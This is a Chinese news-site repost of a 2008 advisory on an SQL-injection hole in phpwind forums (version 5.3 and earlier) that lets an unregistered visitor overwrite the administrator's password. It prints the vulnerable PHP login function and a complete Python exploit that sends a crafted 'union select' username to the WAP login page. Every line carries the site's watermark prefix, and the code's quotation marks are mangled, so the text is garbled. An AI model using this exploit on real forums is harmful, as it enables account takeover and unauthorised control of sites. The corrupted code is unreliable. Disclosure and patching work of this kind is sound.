当前位置:首页 > 新闻资讯 > 门户动态 > > phpwind惊现漏洞:可任意修改管理员密码

phpwind惊现漏洞:可任意修改管理员密码

点击次数:35 次 发布日期:2008-11-23 15:29:22 作者:源代码网
源代码网推荐

源代码网推荐

源代码网整理以下  据国内安全组织近期检测时发现,PHPWIND出现一安全漏洞,黑客可利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。

源代码网整理以下漏洞:PHPWind 论坛系统 是一套采用 php+mysql 数据库 方式运行并可生成 html 页面的全新且完善的强大系统。因具有非凡的访问速度和卓越的负载能力而深受国内外朋友的喜爱。但是80sec在其中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限。

源代码网整理以下漏洞厂商:http://www.phpwind.net

源代码网整理以下漏洞来源:http://www.80sec.com/release/phpwind-admin-pass-change-vul.txt

源代码网整理以下漏洞解析:在phpwind的wap模块中的字符转码程序存在问题,细节在http://www.80sec.com/php-coder-class-security-alert.html,但是80sec发现,在phpwind的wap模块中,该编码转换类存在更为严重的问题,甚至没有任何的条件,即使安装了iconv等编码模块一样受到该漏洞的影响,几乎没有条件限制。在phpwind中,wap是默认关闭的,但是我们发现在phpwind<=5.3版本中,变量存在全局没有初始化的问题,导致远程用户可以开启该模块,从而导致一个注射安全漏洞产生。

源代码网整理以下在phpwind中的注射漏洞中,phpwind过分相信从数据库中取出的变量,从而可能可以更改一些数据处理流程,导致任意修改其他用户的密码,包括管理员,问题代码在wap_mod.php中如下:

源代码网整理以下

源代码网整理以下function wap_login($username,$password){

源代码网整理以下global $db,$timestamp,$onlineip,$db_ckpath,$db_ckdomain,$db_bbsurl;

源代码网整理以下$men=$db->get_one("SELECT m.uid,m.password,m.groupid,m.yz,md.onlineip FROM pw_members m LEFT JOIN pw_memberdata md ON md.uid=m.uid WHERE username="$username"");

源代码网整理以下if($men){

源代码网整理以下$e_login=explode("|",$men["onlineip"]);

源代码网整理以下if($e_login[0]!=$onlineip.’ *’ || ($timestamp-$e_login[1])>600 || $e_login[2]>1 ){

源代码网整理以下$men_uid=$men["uid"];

源代码网整理以下$men_pwd=$men["password"];

源代码网整理以下$check_pwd=$password;

源代码网整理以下if($men["yz"] > 2){

源代码网整理以下wap_msg(’c");

源代码网整理以下}

源代码网整理以下if(strlen($men_pwd)==16){

源代码网整理以下$check_pwd=substr($password,8,16);/*支持 16 位 md5截取密码*/

源代码网整理以下}

源代码网整理以下if($men_pwd==$check_pwd){

源代码网整理以下if(strlen($men_pwd)==16){

源代码网整理以下$db->update(”UPDATE pw_members SET password=’$password’ WHERE uid=’$men_uid’”);

源代码网整理以下}

源代码网整理以下$L_groupid=(int)$men["groupid"];

源代码网整理以下Cookie(”ck_info”,$db_ckpath.” ”.$db_ckdomain);

源代码网整理以下}else{

源代码网整理以下global $L_T;

源代码网整理以下$L_T=$e_login[2];

源代码网整理以下$L_T ? $L_T–:$L_T=5;

源代码网整理以下$F_login=”$onlineip *|$timestamp|$L_T”;

源代码网整理以下$db->update(”UPDATE pw_memberdata SET onlineip=’$F_login’ WHERE uid=’$men_uid’”);

源代码网整理以下wap_msg(’login_pwd_error’);

源代码网整理以下}

源代码网整理以下}else{

源代码网整理以下global $L_T;

源代码网整理以下$L_T=600-($timestamp-$e_login[1]);

源代码网整理以下wap_msg(’login_forbid’);

源代码网整理以下}

源代码网整理以下} else {

源代码网整理以下global $errorname;

源代码网整理以下$errorname=$username;

源代码网整理以下wap_msg(’user_not_exists’);

源代码网整理以下}

源代码网整理以下Cookie(”winduser”,StrCode($men_uid.” ”.PwdCode($password)));

源代码网整理以下Cookie(’lastvisit’,”,0);

源代码网整理以下wap_msg(’wap_login’,"index.php’);

源代码网整理以下}

源代码网整理以下甚至不用注册账户,只要精心构造username即可利用此漏洞。

源代码网整理以下漏洞利用:80sec提供exploit如下:

源代码网整理以下import urllib2,httplib,sys

源代码网整理以下httplib.HTTPConnection.debuglevel = 1

源代码网整理以下cookies = urllib2.HTTPCookieProcessor()

源代码网整理以下opener = urllib2.build_opener(cookies)

源代码网整理以下argvs=sys.argv

源代码网整理以下data = "db_wapifopen=1&prog=login&pwuser=shit%c1"union select "+argvs[2]+”,mid(md5(123456),9,16),3,1,5/*&pwpwd=123456″

源代码网整理以下pwurl = “%s” % argvs[1]

源代码网整理以下pwurl = pwurl + “wap/index.php”

源代码网整理以下print “ Phpwind Admin Pass Change Exploit”

源代码网整理以下print “Phpwind <=5.3 "

源代码网整理以下print "By 80sec "

源代码网整理以下print "python.exe "+argvs[0]+" http://www.80sec.com/pwforum/ 1 "

源代码网整理以下print " [+]TargetForum: "+argvs[1]

源代码网整理以下print "[+]TargetId: "+argvs[2]

源代码网整理以下request = urllib2.Request(

源代码网整理以下url = pwurl ,

源代码网整理以下headers = {"Content-Type" : "application/x-www-form-urlencoded","User-Agent": "80sec owned this"},

源代码网整理以下data = data)

源代码网整理以下f=opener.open(request)

源代码网整理以下headers=f.headers.dict

源代码网整理以下try :

源代码网整理以下cookie=headers["set-cookie"]

源代码网整理以下if cookie.index("winduser") :

源代码网整理以下print "[+]Exploit Success"

源代码网整理以下else : print "[-]Exploit Failed"

源代码网整理以下except:

源代码网整理以下print "[-]Exploit Failed"

源代码网整理以下漏洞修复:请及时打上官方最新补丁 http://www.phpwind.net/read-htm-tid-643202.html

源代码网供稿.
网友评论 (0)
会员中心
新闻资讯
本站推荐
新闻资讯之精华